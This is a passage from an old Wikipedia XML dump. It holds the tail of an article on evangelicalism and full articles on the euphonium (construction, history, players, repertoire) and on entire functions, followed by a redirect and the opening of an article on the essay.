Although evangelicals are currently seen as being on the [[Christian Right]] in the United States, there are those in the center and [[Christian Left]] as well. In other countries there is no particular political stance associated with evangelicals. Many evangelicals have little practical interest in politics.

==Demographics==
A 1992 survey (Green) showed that in the United States and Canada evangelicals make up both the largest and the most active group of Christians (surpassing both Catholics and Mainline or non-Evangelical Protestant groups).

On a worldwide scale evangelical Churches are (together with [[Pentecostalism|Pentecostals]]) the most rapidly growing Christian churches. The two are even beginning to overlap, in a movement sometimes called [[Transformationalism]].

==References==
*Bebbington, David. ''Evangelicalism in Modern Britain: A History from the 1730s to the 1980s''. Unwin Hyman (London), 1989.
*Green, John, Guth, James, et.al. ''Akron Survey of Religion and Politics in America'' 1992. As quoted in Noll, Mark. ''Scandal of the Evangelical Mind''. Eerdmans, 1994.

==See also==
*[[Conservative Christianity]]
*[[Protestantism]]
*[[Orthodoxy]]
*[[Evangelism]]
*[[Mission (Christian)|Mission]]
*[[Christian apologetics]] (A defense of Christianity)
*[[Christian right]]
*[[Christian left]]
*[[Summary of Christian eschatological differences]]

''See the under Protestantism in the [[List of Christian denominations#Protestantism|List of Christian denominations]].''

===Movements===
*[[Charismatic|Charismatic movement]]
*[[Christian ecumenism|Ecumenism]]
*[[Confessing Movement]]
*[[Christian fundamentalism|Fundamentalism]]
*[[Neo-evangelicalism]]
*[[Paleo-Orthodoxy]]
*[[Pentecostalism]]
*[[Transformationalism]]
*[[Pietism]]
*[[Evangelical left]]

===Contrasting Movements===
*[[Anglo-Catholicism]]
*[[Neo-Lutheranism]]
*[[High Church]]

===List of evangelicals: historical figures, scholars, authors, educators, leaders===
{{main|List of famous Evangelical Christians}}

===Publications===
*''[[Christianity Today]]''
*''[[Lark News]]'' online newsletter satirizing evangelicalism
*''[[Sojourners]]''

===Seminaries and Theological Colleges===
*[http://www.africanbiblecolleges.com/ African Bible College] (Malawi; Uganda)
*[[Asbury Theological Seminary]] (Kentucky)
*[[Covenant Theological Seminary]] (Missouri)
*[[Dallas Theological Seminary]] (Texas)
*[http://www.denverseminary.edu/ Denver Seminary] (Colorado)
*[[Fuller Theological Seminary]] (California)
*[[Gordon-Conwell Theological Seminary]] (Massachusetts)
*[http://www.mbts.edu/ Midwestern Baptist Theological Seminary] (Missouri)
*[[Moore Theological College]] (Sydney, Australia)
*[[New Orleans Baptist Theological Seminary]] (Louisiana)
*[[Reformed Theological Seminary]] (Mississippi; Florida; North Carolina)
*[[Southeastern Baptist Theological Seminary]] (North Carolina)
*[[Southern Baptist Theological Seminary]] (Kentucky)
*[[Southwestern Baptist Theological Seminary]] (Texas)
*[http://www.tbs.edu/ Toronto Baptist Seminary] (Toronto, Canada)
*[[Trinity Evangelical Divinity School]] (Illinios)
*[[Westminster Seminary California]] (California)
*[[Westminster Theological Seminary]] (Pennsylvania)
*[[Wheaton College, Illinois|Wheaton College]] (Illinois)

===Regional Groups===
*[[Evangelical Fellowship of Canada]]
*[[Evangelical Movement of Wales]]
*[[National Association of Evangelicals]]
*[[Sydney Anglicans]] (''the Diocese of [[Sydney]] is an influential evangelical group within the [[Anglican]] communion'')

==External links==
&lt;!-- N.B. Please do not include links simply because they refer to Evangelicals. As in all of Wikipedia, external links are for further research. --&gt;

'''Evangelical [[apologetics]]/theology:'''

*[http://www.apologetics.com/default.jsp?bodycontent=pages/articles.jsp&amp;pagetitle=Articles Apologetics.com -articles]
*[http://www.christian-thinktank.com Christian Thinktank]
*[http://www.carm.org/apologetics.htm The Christian Apologetics and Research Ministry]
*[http://lionofjudah.tribulationforces.com/ Lion of Judah Christian Apologetics]
*[http://www.leaderu.com/menus/theology.html Probe Ministries -Christian Apologetics]
*[http://www.rbc.org/rtb/ Reasons to Believe]
*[http://www.apologeticsinfo.org/resource.html Apologetics Information Ministry]
*[http://hisdefense.org/Links/Authors/tabid/297/Default.aspx Academy of Christian Apologetics]
*[http://www.str.org/ Stand to Reason]
*[http://www.ses.edu/journal/ Christian Apologetic Journal]
*[http://www.eternalministries.org Eternal Ministries] 


'''Research on Evangelicals:'''

*[http://www.barna.org/ Barna Research Group]
*[http://pewforum.org/publications/surveys/green-full.pdf 2004 American Religious Landscape Report PDF at ''The Pew Forum on Religion in American Life]
*[http://www.wheaton.edu/isae/ Institute for the Study of American Evangelicalism], Wheaton College 
*[http://www.methodist.org.uk/index.cfm?fuseaction=news.content&amp;cmid=693 Evangelicals in Methodism: Mainstream, Marginal or Misunderstood?] (British perspective)


'''Associations:'''

*[http://www.nae.net National Association of Evangelicals] (United States)
*[http://www.worldevangelical.org World Evangelical Alliance] has a list of evangelical organizations from many nations.




[[Category:Christian evangelicalism| ]]
[[Category:Christian group structuring]]
[[Category:Christianity]]
[[Category:Theology]]
[[Category:Christian theology]]

{{Link FA|vi}}

[[de:Evangelikal]]
[[es:Evangelicalismo]]
[[fr:Églises évangéliques]]
[[ja:福音派]]
[[pl:Ewangelikalizm]]
[[pt:Igreja evangélica]]
[[sk:Evanjelikálne hnutie]]
[[vi:Phong trào Tin Lành]]
[[zh:福音神學]]</text>
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  </page>
  <page>
    <title>Euphonium</title>
    <id>10371</id>
    <revision>
      <id>41574124</id>
      <timestamp>2006-02-28T06:07:27Z</timestamp>
      <contributor>
        <username>Erekrose</username>
        <id>52045</id>
      </contributor>
      <minor />
      <comment>/* References */ Added bullets</comment>
      <text xml:space="preserve">The '''euphonium''' is a conical-bore, tenor-voiced [[brass instrument]].  It derives its name from the [[Greek language|Greek]] word ''euphonion'', meaning &quot;beautiful-sounding&quot; or &quot;sweet-voiced&quot;.  A person who plays euphonium is sometimes called an ''euphoniumist''.

== Construction and general characteristics ==

Like the other conical-bore instruments, the [[cornet]], [[flugelhorn]], [[French horn]], and [[tuba]], the euphonium's tubing gradually increases in diameter throughout its length, giving it a distinct warm, rich sound.

Current models have three or four valves, which are usually [[piston valve|piston valves]], though [[rotary valve|rotary valved]] models do exist. At least three of the instrument’s valves are usually fingered with the right hand. Some earlier designs even had up to six valves to adress the inevitable [[Intonation_%28music%29|intonation]] problems with valve combinations. Currently though, the most common approach (besides ignoring the issue) is a [[Brass_instrument#Valves|compensation system]], sometimes accompanied by a trigger device for the main tuning slide.

The euphonium's fundamental pitch is concert B-flat (Bb); in the United States, music for the instrument is usually written in the [[bass clef]] without transposition, though treble-clef euphonium parts, transposing down a major ninth, are commonly found in concert band music for the sake of students who have recently switched from the trumpet.  In the brass band tradition, especially in the United Kingdom, euphonium music is always written in Bb [[treble clef]], transposing down a major ninth.  In continental European music, parts for the euphonium are sometimes written in the [[bass clef]] but a major second higher than sounding.

The range of the euphonium is quite extensive; the true (non-pedal) range goes from E-natural (three valves) or B-natural (fourth valves¹) below the bass clef up to F six ledger lines above the bass clef or even higher in professional hands, though fourth ledger line Bb is a normal limit for younger players.  With the use of pedal tones (the fundamentals of the instrument's harmonic series), the range goes a further octave down, almost to the bottom of the [[piano]] keyboard.

A truly characteristic euphonium sound is elusive and varies geographically.  Nearly all players would agree that an ideal sound is dark, rich, warm, and velvety, with virtually no hardness to it.  On the other hand, European players, especially British ones, generally use a faster, more constant vibrato and a more veiled tone, whereas Americans tend to prefer a more straightforward, open sound with slower and less frequent vibrato.  This also has to do with the different models preferred by British and American players.  It is important to note that while the finger technique of the euphonium is no different from that of the [[trumpet]], [[French horn]], or [[tuba]], it is very difficult for beginning players to approach this characteristic warm sound, and thus the euphonium is considered one of the more difficult Western instruments for children to learn.

¹NB: B-natural below the bass clef is playable only if the 4th valve is compensating; otherwise the lowest non-pedal tone available is C below the bass clef.  Again, see the article on [[brass instrument|brass instruments]].

[[Image:EuphoniumAndTuba wb.jpg|thumb|left|Euphonium and tuba comparison]]

=== Common valve configurations === 

If there is a fourth valve, it is tuned to the interval of a fourth, serving to bridge the gap between the fundamental and the first harmonic on the [[Harmonic series (music)|harmonic series]]. It can be used instead of the valve combination one and three, also offering advanced players alternative fingerings to avoid intonation problems.

Basic four valve instruments are built in an '''in-line configuration''', and either in the front or top action variety (valves pointing up or to the front, respectively). Some players find this uncomfortable, as the fourth valve is operated with the pinky finger of the right hand. On more upscale '''side-valve''' instruments, the fourth valve is operated with the left hand, which also contributes to a more natural overall playing position.

Modern compensating systems are effective and have almost no detrimental effect on a well-made euphonium's tone or response. As they are complex to design and produce, the price of a compensated instrument is usually at least 30 per cent higher than that of a similar non-compensating model. Its main intonation advantages are in the crucial octave below the second partial in the instrument's lower register.

== Name recognition and misconceptions ==

The euphonium is possibly the least popularly-known Western instrument of all, probably due to its scarcity of performance venues (see below).  Most non-musician members of the general public in the United States do not recognize the name &quot;euphonium,&quot; and so it must be described as a small tuba or compared to a [[baritone horn]].

Despite great confusion (especially in the United States), the euphonium and the baritone are '''two different instruments'''.  Though they play in the same register, the baritone is significantly smaller in appearance, has a more masked tone, and most importantly, is ''cylindrical-bore'', like trumpets and trombones.  See [http://www.dwerden.com/eu-articles-bareuph.cfm David Werden's website] for an excellent and thorough discussion of the differences between a euphonium and a baritone.

The so-called American-style euphonium, featuring three valves on the front of the instrument and a curved forward-pointing bell, was predominant in American school bands throughout most of the twentieth century and was almost universally labeled a &quot;baritone&quot; by both band directors and composers; this is probably responsible for much of the baritone/euphonium confusion.  This instrument is definitively a euphonium because its bore is conical, though smaller than that of the modern euphonium.

== History and development ==

The euphonium, the baritone, the saxhorn family, and the German '''Bariton''' and '''Tenorhorn''' all trace their descent to the [[ophicleide]] and ultimately to the '''[[Serpent (instrument)|serpent]]'''.  The euphonium is alleged to have been invented, as a valved instrument replacing the ophicleide, by Herr Sommer of Weimar in 1843, though Carl Moritz in 1838 and Adolphe Sax in 1843 have also been credited.  The &quot;British-style&quot; compensating euphonium was developed by David Blaikley in 1874, and has been in use in Britain ever since.  

A creation unique to the United States was the '''double-belled euphonium''', featuring a second smaller bell in addition to the main one; the player could switch bells for certain passages or even for individual notes by use of a fifth valve, operated with the left hand.  Ostensibly, the smaller bell was intended to emulate the sound of a trombone (it was cylindrical-bore) and was possibly intended for performance situations in which trombones were not available.  The extent to which the difference in sound and timbre was apparent to the listener, however, is up for debate.  '''Harry Whittier''' of the Patrick S. Gilmore band introduced the instrument in 1888, and it was used widely in both school and service bands for several decades.  '''Harold Brasch''' (see &quot;List of important players&quot; below) brought the British-style compensating euphonium to the United States c. 1939, but the double-belled euphonium may have remained in common use even into the 1950's and 60's.  In any case, they have become rare (they were last in instrumental catalogues in the late 1960's), and are generally unknown to younger euphonium players.  They are chiefly known now through their mention in the song &quot;Seventy-six Trombones&quot; from the musical ''The Music Man'' by [[Meredith Willson]].

== Performance venues and professional job opportunities ==

The euphonium has historically been and largely still is exclusively a '''wind band''' instrument; thus, the most common forums in which it can be found are [[concert band|concert bands]] and [[brass band|brass bands]], where it is  frequently featured as a solo instrument.  Because of this, the euphonium has been called the &quot;king of band instruments,&quot; or the &quot;[[cello]] of the band,&quot; because of its similarity in timbre and ensemble role to the stringed instrument.  Euphoniums typically have extremely important parts in many marches (such as those by [[John Philip Sousa]]), and in brass band music of the British tradition.  The euphonium may also be found in [[marching band|marching bands]], though it is often replaced by its smaller, easier-to-carry cousin, the '''marching baritone''' (which has a similar bell and valve configuration to a trumpet).

Other performance venues for the euphonium may include the tuba-euphonium quartet or larger tuba-euphonium ensemble, the brass quintet where it can supply the tenor voice (though the [[trombone]] is much more common), or in mixed brass ensembles.  It should be noted that though these are legitimate performance venues, (paid) professional jobs in these areas are almost non-existent; they are much more likely to be semi-professional or amateur in nature.  Most of the United States's military [[service bands]] include a tuba-euphonium quartet made up of players from the band that occasionally performs in its own right.

The euphonium is not traditionally an orchestral instrument and thus is not and has never been common in symphony orchestras.  However, there are a handful of works, mostly from the late Romantic period, in which composers wrote a part for '''baryton''' (German) or '''tenor tuba''', and these are universally played on euphonium, frequently by the principal trombone player.  In addition, the euphonium is sometimes used in older orchestral works as a replacement of its predecessors, such as the [[Wagner tuba]], the bass trumpet, or the [[ophicleide]].  At the bottom of the article are some of the well-known orchestral works in which the euphonium is commonly used (whether or not the composer originally specified it).

Finally, while the euphonium was not historically part of the standard jazz [[big band]] or combo, the instrument's technical facility and large range make it well-suited to a jazz solo role, and a jazz euphonium niche has been carved out over the last 40 or so years, largely starting with the pioneer '''Rich Matteson''' (see &quot;List of important players&quot; below).  Jazz euphoniums are most likely to be found in tuba-euphonium groups, though modern [[funk]] or [[rock (music)|rock]] bands occasionally feature a brass player doubling on euphonium, and this trend is growing.

Thus, unlike most other Western instruments, euphoniumists cannot count on a career in symphony orchestras or jazz bands.  Due to this dearth of performance opportunities, aspiring euphonium players in the United States are in an inconvenient position when seeking future employment.  Often, college players must either obtain a graduate degree or a doctorate and go on to teach at the college level, or, in the United States, audition for one of the major or regional military [[service bands]]. Because these bands are relatively few in number and the number of euphonium positions in the bands is small (2-4 in most service bands), job openings do not occur very often and when they do are highly competitive; the last opening for a euphonium player in a service band in the United States was in the Air Force's Heartland of America Band [http://www.offutt.af.mil/Assoc_Units/Band/homepage.html] in May 2004.  A career strictly as a solo performer, unaffiliated with any university or performing ensemble, has not yet been achieved by any euphoniumist. Steven Meade (England) is an exception.

Note that in Britain, the strongest euphonium players are most to likely find a position in a [[brass band]], but ironically, even though they often play at world-class levels, the members of the top brass bands are, in most cases, unpaid amateurs.

== College situation ==

Ue a generation or two ago, most colleges with music programs now allow students to major on euphonium.  However, due to the small number of euphonium students at most schools (2-4 is common), it is possible, and even likely, that they will study with a professor whose major instrument is not euphonium.  Often tubas and euphoniums will be combined into a studio taught by one professor, and at small schools they may be grouped with trombones as well, taught by one low brass professor.  At present, Dr. Brian Bowman of the University of North Texas is the only full-time, euphonium-only professor in the United States.  Usually, of course, universities will require professors in this situation to have a high level of proficiency on all the instruments they teach, and some of the best college euphonium studios are taught by non-euphonium players.

Below are some of the United States's largest and most successful college euphonium studios, along with their teachers.  These studios are likely to be larger than most, and either have one or more graduate students or have sent alumni on to graduate study elsewhere.  Their professors are usually accomplished and widely respected artists in their own right, and students from these schools will have been invited either to amateur competitions such as the '''Falcone Festival''' or the '''International Tuba-Euphonium Conference''', or to the finals rounds of recent military band auditions.

*[[Arizona State University]] (Sam Pilafian, tuba)
*[[Crane School of Music]] at [[SUNY Potsdam]] (Charles Guy, tuba and euphonium)
*[[Capital University]] (Tom Zugger, trombone and euphonium)
*[[Delta State University]] (Ed Bahr, trombone, euphonium, tuba)
*[[Eastman School of Music]] (Mark Kellogg, trombone and euphonium)
*[[Florida State University]] (Paul Ebbers, tuba and euphonium)
*[[George Mason University]] (Roger Behrend, euphonium)
*[[Indiana University]] (Dan Perantoni, tuba)
*[[James Madison University]] (Kevin Stees, tuba)
*[[Louisiana State University]] (Joe Skillen, tuba)
*[[Michigan State University]] (Philip Sinder, tuba)
*[[University of Georgia]] (David Zerkel, tuba)
*[[University of Michigan]] (Fritz Kaenzig, tuba)
*[[University of Kansas]] (Scott Watson, tuba)
*[[University of North Texas]] (Brian Bowman, euphonium)
*[[Ball State University]] (Mark Mordue, tuba)
*[[Tennessee Technological University]] (R. Winston Morris, tuba and euphonium)

==Lists of important players==

The euphonium world is and has been more crowded than is commonly thought, and there have been many noteworthy players throughout the instrument's history.  This list is not intended to be exhaustive, but gives an idea of some of the major names in euphonium playing, divided into three categories: great players of the present, great players of the past, and some &quot;up-and-coming&quot; younger players.

'''Today's premiere players'''

These are some of the most universally respected and influential euphonium players and teachers today in the world today.
*[http://www.navyband.navy.mil/MUCMRBehrend.htm Roger Behrend], soloist with the [http://www.navyband.navy.mil/ U.S. Navy Band] and professor of euphonium at [[George Mason University]] [http://www.gmu.edu/departments/music/]
*[http://www.music.unt.edu/bio/bowman.shtml Dr. Brian Bowman], former soloist with the U.S. Navy Band (1971-75) and [http://usafband.com/ U.S. Air Force Band] (1976-91); now professor of euphonium at the [[University of North Texas]] [http://www.music.unt.edu]
*[http://www.marineband.usmc.mil/who_we_are/members/popups/euphonium.htm Phil Franke], principal euphonium of [http://marineband.usmc.mil &quot;The President's Own&quot; United States Marine Band]
*[http://www.blackdykeband.co.uk/bdb/2003/mtb/mtbmain.htm Dr. Nicholas Childs] Welsh soloist, Director of the [http://www.blackdykeband.co.uk/bdb/2003/index.htm Black Dyke Band] in England
*Dr. Robert Childs, brother of Dr. Nicholas Childs, former soloist with the Black Dyke Band; now Director of Brass Bands at the Royal Welsh College of Music
*[http://www.tormodflaten.com/ Tormod Flaten], principal player with the European brass band [http://www.ebml.no Eikanger-Bjørsvik]
*Angie Hunter, teacher at the German Bible Institute in Koenigsfeld, Germany
*[http://homepage.mac.com/akihiko_ito/en/member/sho.html Shoichiro Hokazono], soloist with the Central Band of the Japanese Air Self-Defense Force
*[http://www.euphonium.net/ Steven Mead], English euphonium soloist and professor at the [http://www.rncm.ac.uk Royal Northern College of Music]
*[http://homepage.mac.com/akihiko_ito/en/member/toru.html Toru Miura], professor of euphonium at the [http://www.kunitachi.ac.jp/ Kunitachi College of Music]; soloist and clinician
*[http://www.euphonium.com/IEIJukka.html Jukka Myllys], Finnish soloist and clinician; trombonist with the [http://www.oulusinfonia.fi/english/ Oulu Symphony Orchestra]
*[http://www.uscg.mil/band/Bios/cgbandvinson.html Danny Vinson], current soloist with the U.S. Coast Guard Band (since 1984) and instructor of euphonium at the [http://www.music.uconn.edu/ University of Connecticut]
*[http://www.dwerden.com/bio-dw.cfm David Werden], former soloist with the [http://www.uscg.mil/band/ U.S. Coast Guard Band]; now adjunct professor of tuba and euphonium at the [[University of Minnesota]] [http://www.music.umn.edu]

'''Important players of the past'''

These are players who have died or retired from regular playing and teaching who have had a profound impact on euphonium playing today through their influence on playing style, development of the instrument itself, or through their students who went on to major success in their own right.  Many of today's top players can trace their &quot;teaching ancestry&quot; back to one or more of these people.
*Harold Brasch (deceased), former soloist with the U.S. Navy Band; responsible for introducing the modern British-style compensating euphonium into the U.S. military service bands c. 1939
*John &quot;Buddy&quot; Burroughs (deceased), former player with the [http://www.marineband.usmc.mil/ &quot;The President's Own&quot; U.S. Marine Band] (1935-66); known for his vast music collection
*Dr. Paul Droste, retired professor and marching band director at the [[Ohio State University]]
*Leonard Falcone (deceased), Italian-American soloist and longtime director of bands at [[Michigan State University]]
*Arthur Lehman, former soloist with the [http://www.marineband.usmc.mil/ U.S. Marine Band] (1947-71)
*Earl Louder, former soloist with the U.S. Navy Band (1956-68), retired professor at [http://www.morehead-st.edu/music/ Morehead State University] (1968-96); now soloist with the [http://www.newsousaband.com/ New Sousa Band] and guest soloist with many other groups
*Simone Mantia (deceased), euphonium soloist with the John Philip Sousa Band (1896-1903)
*[[Rich Matteson]][http://www.jazzprofessional.com/interviews/Rich%20Matteson.htm] (deceased), groundbreaking jazz euphonium player, longtime faculty member at the [[University of North Texas ]], and founding member of the Modern Jazz Tuba Project
*Joseph M. Raffayola (deceased), former player with the John Philip Sousa Band (1892-1903)
*John Perfetto (deceased), former player with the John Philip Sousa Band (1904-21)
*Raymond Young (deceased), former professor of low brass and director of bands at the [[University of Southern Mississippi]]

'''Younger players'''

Finally, here are some of the new generation of euphonium players (roughly 35 and younger) who have already carved an important place for themselves in the euphonium world, either through teaching, releasing recordings, giving masterclasses, or appearing as a featured soloist.
*[http://www.davechilds.com/ David Childs], 24-year-old Welsh soloist, son of Dr. Robert Childs
*[http://www.uelikipfer.ch/ Ueli Kipfer], Swiss euphonium solist, conductor, teacher and clinician
*[http://www.marineband.usmc.mil/who_we_are/members/popups/euphonium.htm Matt Summers], euphoniumist (1997-present) with [http://marineband.usmc.mil &quot;The President's Own&quot; United States Marine Band].
*[http://www.euphonium.com/ Adam Frey], Atlanta-based soloist, clinician, and teacher; affiliate at [[Emory University]] [http://music.emory.edu] and adjunct professor at [[Georgia State University]] [http://www.music.gsu.edu]
*[http://www.jasondham.com/ Jason Ham], New York-based Euphonium Soloist &amp; Teacher, member of the United States Military Academy Band, West Point, New York
*[http://www.matthewmurchison.com/ Matthew Murchison], member of the [http://www.rcbb.com/ River City Brass Band] and soloist
*[http://www.benpierce.com/ Dr. Benjamin Pierce], professor of tuba and euphonium at the [[University of Arkansas]] [http://www.uark.edu/depts/uamusic/]
*[http://www.patstuckemeyer.com/ Pat Stuckemeyer], one of the youngest soloists on the instrument, with educational articles and media available on his website
*[http://www.davidthornton.eu.com/ David Thornton], current soloist with the Black Dyke Mills Band in England
*[http://www.music.ua.edu/people/showperson.html?id=5 Demondrae Thurman], assistant professor of tuba and euphonium at the [[University of Alabama]] and founding member of the [http://www.tubaquartet.com/ Sotto Voce Tuba Quartet]
*[http://www.emich.edu/music/html/tropman.html Matthew Tropman], former soloist with the [http://www.marineband.usmc.mil/ U.S. Marine Band]; now adjunct professor of tuba and euphonium at [[Eastern Michigan University]] [http://www.emich.edu/music/] and Executive Director of the [http://www.bbbc.net/index.htm Brass Band of Battle Creek]

==Important literature==

These are some of the major works of the original euphonium repertoire, divided into three rough categories of difficulty: solos that would be appropriate for high schoolers, solos at the undergraduate college level, and solos that probably are appropriate only for graduate-level or professional players.

'''High school''':
*J. Edouard Barat, ''Introduction and Dance'' and ''Morceau de Concours''
*[http://www.curnowmusicpress.com/jamescurnow.htm James Curnow], ''Rhapsody''
*Joseph Deluca, ''Beautiful Colorado''
*Donald Haddad, ''Suite for Baritone''
*D. Warner Hutchison, ''Sonatina''
*Donald White, ''Lyric Suite''

'''Undergraduate''':
*Fred Clinard, Jr., ''Sonata'' (unaccompanied)
*[[Gordon Jacob]], ''Fantasia''
*Joseph Horovitz, ''Concerto''
*Simone Mantia, ''Fantasia Originale'' and ''Believe Me, If All Those Endearing Young Charms''
*Philip Sparke, ''Fantasy'', ''Song for Ina'', ''Pantomime'' and ''Party Piece''

'''Graduate/Professional''':
*[[Samuel Adler (composer)|Samuel Adler]], ''Four Dialogues for Euphonium and Marimba''
*Jan Bach, ''Concert Variations''
*Arthur Butterworth, ''Partita''
*Vladimir Cosma, ''Concerto'' (with orchestra)
*[http://www.curnowmusicpress.com/jamescurnow.htm James Curnow], [http://www.curnowmusicpress.com/CMPMusicLow/James%20Curnow/Symphonic%20Variants.mp3 ''Symphonic Variants for Euphonium and Band'']
*Martin Ellerby, ''Concerto''
*David Gillingham, ''Blue Lake Fantasies'' (unaccompanied) and ''Vintage''
*John Golland, ''Concertos'' nos. 1 and 2
*[[Amilcare Ponchielli]], ''Concerto per Flicorno Basso''
*Philip Sparke, ''Concerto''
*John Stevens, ''Soliloquies''
*Roland Szentpali, ''Pearls''

Because the repertoire for euphonium is somewhat limited in scope and historical depth, euphoniumists often play transcriptions of literature written for other instruments, including [[cornet]], [[trombone]], [[bassoon]], [[Voice_instrumental_music|voice]], and [[cello]].  These pieces may be transposed for the sake of range or key, they may be simplified technically, or they may be performed exactly as originally written.  Here are some of the most commonly performed transcriptions, along with their general difficulty level and the instrument they were composed for:

'''Easier''' (high school to college-level):
*J. Edouard Barat, ''Andante and Allegro'' (trombone)
*Herman Bellstedt, ''Napoli Variations'' (cornet)
*Herbert L. Clarke, ''The Bride of the Waves'' and ''From the Shores of the Mighty Pacific'' (cornet)
*[[Giuseppe Antonio Capuzzi]], &quot;Andante and Rondo&quot; from the ''Concerto for Double Bass''
*[[Ferdinand David]], ''Concertino'' (trombone)
*Alphonse de la Nux, ''Concert Piece'' (trombone)
*F. Alexandre Guilmant, ''Morceau Symphonique'' (trombone)
*[[Georg Friedrich Handel]], ''Aria con Variazioni'' (orig. [[harpsichord]], trans. for cornet)
*[[Benedetto Marcello]], ''Sonata in F Major'' (cello)
*[[Wolfgang Amadeus Mozart]], ''Bassoon Concerto K. 191''
*[[Sergei Rachmaninov]], ''Vocalise''
*[[Georg Philipp Telemann]], ''Sonata in F Minor'' (bassoon)

'''More advanced''' (upper-level college to graduate and professional):
*[[Jean-Baptiste Arban]], ''Variations on 'The Carnival of Venice''' (cornet)
*[[Johann Sebastian Bach]], ''Six Suites for Solo Cello''
*Edoardo Boccalari, ''Fantasia di Concerto'' (clarinet, cornet, or baritone)
*Derek Bourgeouis, ''Concerto for Trombone, Op. 114''
*[[Jacques Casterede]], ''Fantaisie Concertante'' (bass trombone)
*[[Julius Klengel]], ''Concertino no. 1'' (cello)
*[[Arthur Pryor]], ''The Blue Bells of Scotland'' (trombone)

== Some famous band pieces with euphonium solos ==

*[[Samuel Barber]], ''Commando March''
*[[Percy Grainger]], ''Colonial Song'', &quot;The Brisk Young Sailor&quot; from ''Lincolnshire Posy'', ''Molly on the Shore''
*[[Gustav Holst]], ''Second Suite in F'' (1st and 4th mvts.)
*[[Roger Nixon]], ''Fiesta del Pacifico''
*[[Arnold Schoenberg]], ''Theme and Variations, Op. 43a''
*[[William Schumann]], &quot;When Jesus Wept&quot; from the ''New England Tryptich''

==The euphonium in orchestras==

These are some major orchestral works that contain parts commonly played on euphonium (whether the composer originally specified euphonium or not).
*[[Hector Berlioz]], ''Symphonie Fantastique''
*[[Gustav Holst]], &quot;Mars,&quot; &quot;Jupiter,&quot; and &quot;Neptune&quot; from ''The Planets''
*[[Leos Janacek]], ''Sinfonietta''
*[[Gustav Mahler]], ''Symphony no. 7''
*[[Modest Mussorgsky]], &quot;Bydlo&quot; from ''Pictures at an Exhibition'' (Ravel orchestration)
*[[Richard Strauss]], ''Ein Heldenleben'' and ''Don Quixote''
*[[Dmitri Shostakovich]], ''The Age of Gold'' (ballet)
*[[Igor Stravinsky]], ''The Firebird''

== References ==

* http://home.earthlink.net/~tenorhorn/euphhistory.html

* http://lowbrassnmore.com/euponiumhistory.htm

* http://www.nikknakks.net/euphonium/

== Outside links ==

* [http://www.tubanews.com/ Tuba News], a free monthly online publication for tuba and euphonium players.

* [http://www.iteaonline.org/ The International Tuba-Euphonium Association], the foremost professional organization for tubists and euphoniumists.

* [http://www.tubaeuphoniumpress.com/ Tuba-Euphonium Press], one of the premier publishing houses for new euphonium and tuba music in all genres.

* [http://www.brass-forum.co.uk Brass-Forum.co.uk], a UK based brass discussion forum.

* [http://www.nikknakks.net/euphonium/ Nikk Nakks Music's Euphonium Page], one of the more informative sites for euphonium literature, history, music, recordings, and more.

[[de:Baritonhorn]]
[[fr:Euphonium]]
[[hu:Baritonkürt]]
[[nl:Euphonium]]
[[ja:ユーフォニアム]]
[[no:Eufonium]]
[[nn:Eufonium]]
[[fi:Eufonium]]
[[sv:Eufonium]]
[[Category:Brass instruments]]</text>
    </revision>
  </page>
  <page>
    <title>Entire function</title>
    <id>10372</id>
    <revision>
      <id>41696939</id>
      <timestamp>2006-03-01T03:08:09Z</timestamp>
      <contributor>
        <username>Oleg Alexandrov</username>
        <id>153314</id>
      </contributor>
      <minor />
      <comment>rm incorrect statement, it could be fixed but it is not worth it</comment>
      <text xml:space="preserve">In [[complex analysis]], an '''entire function''' is a [[Function (mathematics)|function]] that is [[holomorphic function|holomorphic]] everywhere on the whole [[complex number|complex plane]]. Typical examples of entire functions are the [[polynomial|polynomials]], the [[exponential function]], and sums, products and compositions of these. Every entire function can be represented as a [[power series]] which converges everywhere. Neither the [[natural logarithm]] nor the [[square root]] function is entire.

Note that an entire function may have a [[mathematical singularity|singularity]] or even an [[essential singularity]] at the complex [[point at infinity]].

[[Liouville's theorem (complex analysis)|Liouville's theorem]] establishes an important property of entire functions &amp;mdash; an entire function which is bounded must be constant.  This property be used for an elegant proof of the [[fundamental theorem of algebra]].  [[Picard theorem|Picard's little theorem]] is a considerable strengthening of Liouville's theorem: a non-constant entire function takes on every complex number as value, except possibly one.  The latter exception is illustrated by the exponential function, which never takes on the value 0.

[[Category:Complex analysis]]

[[de:Ganze Funktion]]
[[es:Función entera]]
[[fr:Fonction entière]]
[[ko:완전함수]]
[[it:Funzione intera]]
[[he:פונקציה שלמה]]
[[ja:整関数]]</text>
    </revision>
  </page>
  <page>
    <title>Elliptical curve</title>
    <id>10373</id>
    <revision>
      <id>15908188</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Elliptic_curve]]
</text>
    </revision>
  </page>
  <page>
    <title>Essay</title>
    <id>10374</id>
    <revision>
      <id>42134040</id>
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        <username>Rhobite</username>
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      </contributor>
      <comment>/* External links */ site is covered in google ads. probably spam</comment>
      <text xml:space="preserve">:''For the town in France, see [[Essay, Orne]].''

An '''essay''' is a short work that treats a topic from an author's personal point of view, often taking into account [[subjective experience]]s and personal reflections upon them.   Essays are usually brief works in [[prose]], but works in [[verse]] are sometimes dubbed ''essays'' (e.g. [[Alexander Pope]]'s ''An Essay on Criticism'' (1711) and ''An Essay on Man'' (1733-1734). Many voluminous and famous works refer to themselves as essays (e.g. [[John Locke]]'s ''[[An Essay Concerning Human Understanding]]'' (1690), [[Thomas Malthus]]'s ''[[An Essay on the Principle of Population]]'' (1798)).  

Virtually anything may be the subject of an essay.  Topics may include actual happenings, issues of human life, [[morality]], [[ethics]], [[religion]] and many others. An essay is, by definition, a work of [[non-fiction]], and is often [[Expository Writing|expository]].

==The essay as literary genre== 

The word ''essay'' derives from the French ''essai'' ('attempt'), from the verb ''essayer'', 'to try' or 'to attempt'.  The first author to describe his works as essays was, unsurprisingly, French:  [[Michel de Montaigne]] (1533-1592).  Inspired in particular by the works of [[Plutarch]], a translation of whose ''Oeuvres morales'' [''Moral works''] into French had just been published by [[Jacques Amyot]], Montaigne began to compose his essays in [[1572]]; the first edition, entitled ''Essais'', was published in two volumes in [[1580]].  For the rest of his life he continued revising previously published essays and composing new ones.

[[Francis Bacon]]'s essays, published in book form in [[1597]], [[1612]], and [[1625]], were the first works in English that described themselves as ''essays''.  [[Ben Jonson]] first used the word ''essayist'' in English in [[1609]], according to the [[Oxford English Dictionary]].

